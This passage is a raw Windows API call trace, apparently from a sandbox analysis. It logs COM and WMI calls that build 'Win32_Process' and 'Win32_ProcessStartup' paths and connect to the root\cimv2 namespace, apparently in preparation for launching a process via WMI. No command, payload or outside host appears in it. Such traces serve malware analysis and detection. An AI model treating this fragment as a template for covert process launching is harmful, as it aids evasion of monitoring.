puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0066.108] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b280, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0066.108] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0066.108] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b280, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0066.108] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0066.108] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0066.108] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0066.108] IUnknown:Release (This=0x111f638) returned 0x1 [0066.110] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bef8e00) returned 0x0 [0066.110] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8e00, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0066.110] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8e00, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3b1c0) returned 0x0 [0066.110] WbemDefPath:IUnknown:Release (This=0x1bef8e00) returned 0x0 [0066.110] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3b1c0) returned 0x0 [0066.110] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0066.111] WbemDefPath:IUnknown:AddRef (This=0x1bf3b1c0) returned 0x3 [0066.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0066.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0066.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bef8d80) returned 0x0 [0066.111] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8d80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.111] WbemDefPath:IUnknown:Release (This=0x1bef8d80) returned 0x3 [0066.111] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0066.111] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0066.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0066.111] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x2 [0066.111] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x1 [0066.111] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0066.111] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0066.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3b1c0) returned 0x0 [0066.111] WbemDefPath:IUnknown:AddRef (This=0x1bf3b1c0) returned 0x3 [0066.111] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x2 [0066.111] WbemDefPath:IWbemPath:SetText (This=0x1bf3b1c0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0066.111] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b1c0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0066.111] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b1c0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0066.111] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b1c0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0066.111] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b1c0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0066.111] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b1c0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0066.111] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b1c0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0066.111] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b1c0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0066.112] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0066.112] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0066.112] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0066.112] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0066.112] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0066.112] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0066.112] IUnknown:Release (This=0x111f638) returned 0x1 [0066.113] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bef8dc0) returned 0x0 [0066.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8dc0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0066.114] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8dc0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bf3b040) returned 0x0 [0066.114] WbemDefPath:IUnknown:Release (This=0x1bef8dc0) returned 0x0 [0066.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bf3b040) returned 0x0 [0066.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0066.114] WbemDefPath:IUnknown:AddRef (This=0x1bf3b040) returned 0x3 [0066.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0066.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0066.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bef8d00) returned 0x0 [0066.114] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8d00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.114] WbemDefPath:IUnknown:Release (This=0x1bef8d00) returned 0x3 [0066.114] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0066.115] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0066.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0066.115] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x2 [0066.115] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x1 [0066.115] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0066.115] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0066.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bf3b040) returned 0x0 [0066.115] WbemDefPath:IUnknown:AddRef (This=0x1bf3b040) returned 0x3 [0066.115] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x2 [0066.115] WbemDefPath:IWbemPath:SetText (This=0x1bf3b040, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0066.115] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b040, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0066.115] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b040, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0066.115] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b040, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0066.115] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0066.115] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0066.115] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0066.115] IUnknown:Release (This=0x111f638) returned 0x1 [0066.116] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bef8ae0) returned 0x0 [0066.116] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8ae0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0066.116] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bef8ae0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bef8a40) returned 0x0 [0066.116] WbemLocator:IUnknown:Release (This=0x1bef8ae0) returned 0x0 [0066.116] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bef8a40) returned 0x0 [0066.116] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0066.117] WbemLocator:IUnknown:AddRef (This=0x1bef8a40) returned 0x3 [0066.117] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0066.117] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0066.117] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0066.117] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0066.117] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0066.117] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0066.117] WbemLocator:IUnknown:Release (This=0x1bef8a40) returned 0x2 [0066.117] WbemLocator:IUnknown:Release (This=0x1bef8a40) returned 0x1 [0066.117] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0066.117] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0066.117] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a40, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bef8a40) returned 0x0 [0066.117] WbemLocator:IUnknown:AddRef (This=0x1bef8a40) returned 0x3 [0066.117] WbemLocator:IUnknown:Release (This=0x1bef8a40) returned 0x2 [0066.117] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b040, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0066.117] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b040, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0066.117] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b040, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0066.117] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bef8a60) returned 0x0 [0066.118] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bef8a60, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf548f0) returned 0x0 [0066.482] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf548f0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bef1030) returned 0x0 [0066.482] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef1030, pProxy=0x1bf548f0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0066.482] WbemLocator:IUnknown:Release (This=0x1bef1030) returned 0x1 [0066.483] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf548f0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bef1070) returned 0x0 [0066.483] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf548f0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bef1030) returned 0x0 [0066.483] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef1030, pProxy=0x1bf548f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0066.483] WbemLocator:IUnknown:Release (This=0x1bef1030) returned 0x2 [0066.483] WbemLocator:IUnknown:Release (This=0x1bef1070) returned 0x1 [0066.483] CoTaskMemFree (pv=0x1bf3c8c0) [0066.483] WbemLocator:IUnknown:AddRef (This=0x1bf548f0) returned 0x2 [0066.483] WbemLocator:IUnknown:Release (This=0x1bef8a60) returned 0x0 [0066.484] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0066.484] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0066.485] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf548f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bef1040) returned 0x0 [0066.485] WbemLocator:IRpcOptions:Query (in: This=0x1bef1040, pPrx=0x1bef89c0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0066.485] WbemLocator:IUnknown:Release (This=0x1bef1040) returned 0x2 [0066.485] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0066.485] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0066.485] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf548f0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf548f0) returned 0x0 [0066.485] WbemLocator:IUnknown:Release (This=0x1bf548f0) returned 0x2 [0066.485] SysStringLen (param_1=0x0) returned 0x0 [0066.485] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b1c0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, 